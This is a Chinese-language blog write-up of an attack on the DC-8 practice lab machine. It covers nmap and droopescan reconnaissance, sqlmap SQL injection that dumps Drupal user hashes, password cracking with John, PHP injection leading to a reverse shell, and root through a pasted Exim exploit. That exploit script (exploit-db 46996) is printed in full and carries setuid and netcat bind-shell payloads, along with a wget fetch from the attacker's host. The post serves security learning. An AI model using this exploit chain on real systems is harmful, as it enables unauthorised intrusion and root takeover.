[网络安全学习篇76]:渗透测试实战-DC-8-靶机入侵

引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足;对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以我就想到了通过写博客(课程笔记)的形式去学习它,虽然写博客会让我多花几倍的时间去学习它,但是当我完成一篇博客所获得的成就感和你们对于我的认同感,让我很满足,能够鼓励我一天天的坚持下去,也希望和我一起学习本期视频的"同道"们也能给一直坚持下去。我们大家一起加油。由于作者本身也是网络信息安全小白,大部分知识点都是初次接触,出现对其理解不深入,不完整,甚至也会出现错误有问题的地方,希望大家谅解、留言提出指正,同时也欢迎大家来找我一起交流学习!!!

往期博客:

第一阶段:

[网络安全学习篇1]:windowsxp、windows2003、windows7、windows2008系统部署(千峰网络安全视频笔记)

[网络安全学习篇24]:漏洞与木马(千峰网络安全视频笔记 p117-p118)

第二阶段:

[网络安全学习篇25]:初识Linux及简单命令

[网络安全学习篇32]:Linux脚本编写汇总及应用

第三阶段:

[网络安全学习篇33]:0基础带你入门python

[网络安全学习篇38]:基础环境搭建

[网络安全学习篇39]:HTML标签基础 常用的标签 表格

[网络安全学习篇42]:靶场环境搭建(ubuntu系统安装优化及vulhub安装)

[网络安全学习篇43]:PHP基础+变量 运算符 流程控制语句

[网络安全学习篇48]:JS 基础 函数 事件

第四阶段:

[网络安全学习篇49]:渗透测试方法论

[网络安全学习篇50]:Web架构安全分析

[网络安全学习篇51]:信息收集

[网络安全学习篇52]:扫描技术

[网络安全学习篇53]:口令破解

[网络安全学习篇54]:SQL注入

[网络安全学习篇55]:SQL自动化注入

[网络安全学习篇56]:XSS

[网络安全学习篇57]:XSS(二)

[网络安全学习篇58]:PHP代码注入

[网络安全学习篇59]:OS命令注入

[网络安全学习篇60]:文件上传

[网络安全学习篇61]:文件包含

[网络安全学习篇62]:CSRF 攻击

[网络安全学习篇63]:SSRF

[网络安全学习篇64]:业务安全

[网络安全学习篇65]:提权

[网络安全学习篇66]:Metasploit(MSF)

[网络安全学习篇67]:python poc-exp

[网络安全学习篇68]:反序列化漏洞

[网络安全学习篇69]:渗透测试实战-DC-1-靶机入侵

[网络安全学习篇70]:渗透测试实战-DC-2-靶机入侵

[网络安全学习篇71]:渗透测试实战-DC-3-靶机入侵

[网络安全学习篇72]:渗透测试实战-DC-4-靶机入侵

[网络安全学习篇73]:渗透测试实战-DC-5-靶机入侵

[网络安全学习篇74]:渗透测试实战-DC-6-靶机入侵

[网络安全学习篇75]:渗透测试实战-DC-7-靶机入侵

[网络安全学习篇76]:渗透测试实战-DC-8-靶机入侵(本篇)

下期博文:

目录

 

信息收集

nmap

droopescan

攻击

sqlmap

john

反弹shell

提权

拿到flag


信息收集

nmap

nmap -sP 192.168.1.2/24 -oN nmap.sP

nmap -A 192.168.1.171 -p- -oN nmap.A

droopescan

安装droopescan

https://github.com/droope/droopescan#docker

安装 pip : python get-pip.py

/droopescan# pip install -r requirements.txt

./droopescan scan drupal -u http://192.168.1.171 -e a

攻击

sqlmap

sqlmap -u http://192.168.1.171/?nid=1 --dbs --batch

获取数据库表

sqlmap -u http://192.168.1.171/?nid=1 -D d7db --tables --batch

获取users 表

sqlmap -u http://192.168.1.171/?nid=1 -D d7db -T users --dump --batch

得到两个用户

admin

john

各自的password 的hash 值:

$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z

$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

john

其中有一个用户名是john 间接提示我们使用john 工具爆破,得到john 用户的密码

admin 用户的密码没有爆破成功

使用账密[john/turtle]登录网站后台 http://192.168.1.171/user/login

我们在 contact us --- webform --- form settings 发现存在代码注入

注意:在PHP 代码之前要加上一串字符串

 

下拉至底部,点击保存

存在PHP代码注入

 

反弹shell

反弹shell 成功

 

提权

 

sudo -l

没有发现没有相关漏洞

 

find / -perm -4000 2>/dev/null

借鉴大佬的wp  exim4 可以利用  https://www.exploit-db.com/exploits/46996

 

该漏洞有两种利用方法

 

本地开启http 服务

 

由于我们反弹shell 得到的用户在当前目录下没有写权限,我们切换至/tmp 目录下

wget http://192.168.1.164:8000/46996.sh

 

./46996.sh

执行失败

 

重新编辑文件

vi get

将下面内容粘贴 :wq 保存退出

METHOD="setuid" # default method
PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost'
PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost'
# usage instructions
function usage()
{
        echo "$0 [-m METHOD]"

        echo

        echo "-m setuid : use the setuid payload (default)"

        echo "-m netcat : use the netcat payload"

        echo

        exit 1

}



# payload delivery

function exploit()

{

        # connect to localhost:25

        exec 3<>/dev/tcp/localhost/25



        # deliver the payload

        read -u 3 && echo $REPLY

        echo "helo localhost" >&3

        read -u 3 && echo $REPLY

        echo "mail from:<>" >&3

        read -u 3 && echo $REPLY

        echo "rcpt to:<$PAYLOAD>" >&3

        read -u 3 && echo $REPLY

        echo "data" >&3

        read -u 3 && echo $REPLY

        for i in {1..31}

        do

                echo "Received: $i" >&3

        done

        echo "." >&3

        read -u 3 && echo $REPLY

        echo "quit" >&3

        read -u 3 && echo $REPLY

}



# print banner

echo

echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit'

echo 'Copyright (c) 2019 Marco Ivaldi <[email protected]>'

echo



# parse command line

while [ ! -z "$1" ]; do

        case $1 in

                -m) shift; METHOD="$1"; shift;;

                * ) usage

                ;;

        esac

done

if [ -z $METHOD ]; then

        usage

fi



# setuid method

if [ $METHOD = "setuid" ]; then



        # prepare a setuid shell helper to circumvent bash checks

        echo "Preparing setuid shell helper..."

        echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c

        gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null

        if [ $? -ne 0 ]; then

                echo "Problems compiling setuid shell helper, check your gcc."

                echo "Falling back to the /bin/sh method."

                cp /bin/sh /tmp/pwned

        fi

        echo



        # select and deliver the payload

        echo "Delivering $METHOD payload..."

        PAYLOAD=$PAYLOAD_SETUID

        exploit

        echo



        # wait for the magic to happen and spawn our shell

        echo "Waiting 5 seconds..."

        sleep 5

        ls -l /tmp/pwned

        /tmp/pwned



# netcat method

elif [ $METHOD = "netcat" ]; then



        # select and deliver the payload

        echo "Delivering $METHOD payload..."

        PAYLOAD=$PAYLOAD_NETCAT

        exploit

        echo



        # wait for the magic to happen and spawn our shell

        echo "Waiting 5 seconds..."

        sleep 5

        nc -v 127.0.0.1 31337



# print help

else

        usage

fi

方法一

 

提权成功

 

方法二

 

提权失败

拿到flag


参考文献

https://www.exploit-db.com/exploits/46996

http://www.secwk.com/2019/10/15/10798/

猜你喜欢

转载自blog.csdn.net/weixin_43252204/article/details/106368397